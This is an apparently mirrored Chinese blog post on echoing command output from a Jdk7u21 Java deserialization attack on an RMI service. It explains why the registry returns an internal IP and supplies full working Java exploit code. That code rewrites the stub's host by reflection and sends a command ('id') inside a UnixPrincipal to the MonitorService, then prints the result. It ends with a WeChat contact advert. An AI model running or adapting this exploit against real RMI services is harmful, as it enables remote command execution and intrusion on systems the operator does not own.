美文网首页Java
java反序列之Jdk7u21回显 ~ 解决网络问题

java反序列之Jdk7u21回显 ~ 解决网络问题

作者: java涛仔 | 来源:发表于2021-12-29 21:43 被阅读0次

之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。

分析

在服务绑定到注册中心时,服务的地址是通过解析Hostname得到。

这里就存在了问题,很多时候目标的Hostname解析结果并不是外网IP而是 本机 的内网IP,lookup时在客户端从注册中心拿到代理对象stub后,通过stub得到服务地址后,会在客户端与服务地址建立连接。如果是攻击外网的RMI服务,由于内网IP导致无法建立链接。

从nmap的扫描结果也能看出这个问题。

虽然是内网IP,但是由于高版本JDK中注册中心和服务端必须在同一台机器上,所以通常这个内网IP都是本机的内网IP。那么只要将这个内网IP修改为外网IP,不存在安全策略的情况下依然能调用服务实现回显。

sun.rmi.registry.RegistryImpl_Stub#lookup

接下来就走了一遍整个流程,发现只要修改了该方法中的var2对象中的incomingRefTable属性中的Host即可解决问题,这里通过反射修改该属性值。

最开始准备使用Java Agent来解决,后面发现不用Hook直接将lookup方法给抽取出来也行。

publicclassRMIClientextendsRemoteObject{privatestaticfinal Operation[] operations =newOperation[]{newOperation("void bind(java.lang.String, java.rmi.Remote)"),newOperation("java.lang.String list()[]"),newOperation("java.rmi.Remote lookup(java.lang.String)"),newOperation("void rebind(java.lang.String, java.rmi.Remote)"),newOperation("void unbind(java.lang.String)")};privateRemoteRefref=null;privateString ip =null;publicRemotelookup(String var1) throws AccessException, NotBoundException, RemoteException{try{            StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations,2,4905912898345647071L);try{                ObjectOutput var3 = var2.getOutputStream();                var3.writeObject(var1);            }catch(IOException var15) {thrownewMarshalException("error marshalling arguments", var15);            }this.ref.invoke(var2);            Remote var20;try{                ObjectInput var4 = var2.getInputStream();                var20 = (Remote)var4.readObject();                Field f = var2.getClass().getDeclaredField("in");                f.setAccessible(true);                Object conn = f.get(var2);                f = conn.getClass().getDeclaredField("incomingRefTable");                f.setAccessible(true);                HashMap rets = (HashMap) f.get(conn);                Map.Entry entry = (Map.Entry) rets.entrySet().iterator().next();                f = entry.getKey().getClass().getDeclaredField("host");                f.setAccessible(true);                f.set(entry.getKey(),this.ip);            }catch(IOException | ClassNotFoundException | ClassCastException var13) {//                var2.discardPendingRefs();thrownewUnmarshalException("error unmarshalling return", var13);            }finally{this.ref.done(var2);            }returnvar20;        }catch(RuntimeException var16) {throwvar16;        }catch(RemoteException var17) {throwvar17;        }catch(NotBoundException var18) {throwvar18;        }catch(Exception var19) {thrownewUnexpectedException("undeclared checked exception", var19);        }    }publicstaticvoidmain(String[] args) throws Exception{        String command ="id";        String ip ="ip";        Registry registry = LocateRegistry.getRegistry(ip, port);//        for(String x:registry.list()){//            System.out.println(x);//        }Subject subject =newSubject();        Field f = subject.getClass().getDeclaredField("principals");        f.setAccessible(true);        Setset=newHashSet();        UnixPrincipal unixPrincipal =newUnixPrincipal(command);set.add(unixPrincipal);        f.set(subject,set);        f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");        f.setAccessible(true);        RMIClient r =newRMIClient();        r.ref= (RemoteRef) f.get(registry);        r.ip = ip;        System.out.println(((RMIConnection)r.lookup("MonitorService")).getDefaultDomain(subject));    }}

使用原生lookup时,建立连接失败导致无法回显命令结果。

使用修改后的lookup方法成功回显。如果看完的小伙伴有兴趣了解更多的话,欢迎添加vx小助手:ON7luck  详细了解~

相关文章

  • java反序列之Jdk7u21回显 ~ 解决网络问题

    之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。 分析 在服务绑定到注册中心时,服...

  • Protostuff序列化和反序列化

    Java序列化和反序列化 序列化和反序列化是在应对网络编程最常遇到的问题之一。序列化就是将Java Object转...

  • Java 序列化 之 单例模式

    序列化相关文章: Java 序列化 之 Serializable Java 序列化之 Externalizable...

  • java 序列化 原理解析

    序列化相关文章: Java 序列化 之 Serializable Java 序列化之 Externalizable...

  • netty使用Google Protobuf协议优化通道的序列化

    一、Google Protobuf 协议 解决序列化和检索效率的问题。 序列化的方法有: 使用java原生的序列化...

  • java专题之序列化

    一、基本概念 1、什么是序列化和反序列化 (1)Java序列化是指把Java对象转换为字节序列的过程,而Java反...

  • Protostuff序列化和反序列化

    序列化和反序列化是在应对网络编程最常遇到的问题之一。序列化就是将Java Object转成byte[];反序列化就...

  • Kryo序列化器(快速上手)

    1. 简介 将Java对象进行缓存或者在网络间传输时,Kryo用于将Java对象序列化成为字节数组,或将字节数组反...

  • Spring Boot笔记

    遇到的问题 问题1: OneToMany错误解决方法: @JsonIgnore作用是json序列化时将java b...

  • Java显式锁

    Java显式锁是为了解决Java内置锁的功能问题、性能问题而生的。JDK 5版本引入了Lock接口,Lock是Ja...

网友评论

    本文标题:java反序列之Jdk7u21回显 ~ 解决网络问题

    本文链接:https://www.haomeiwen.com/subject/mbswqrtx.html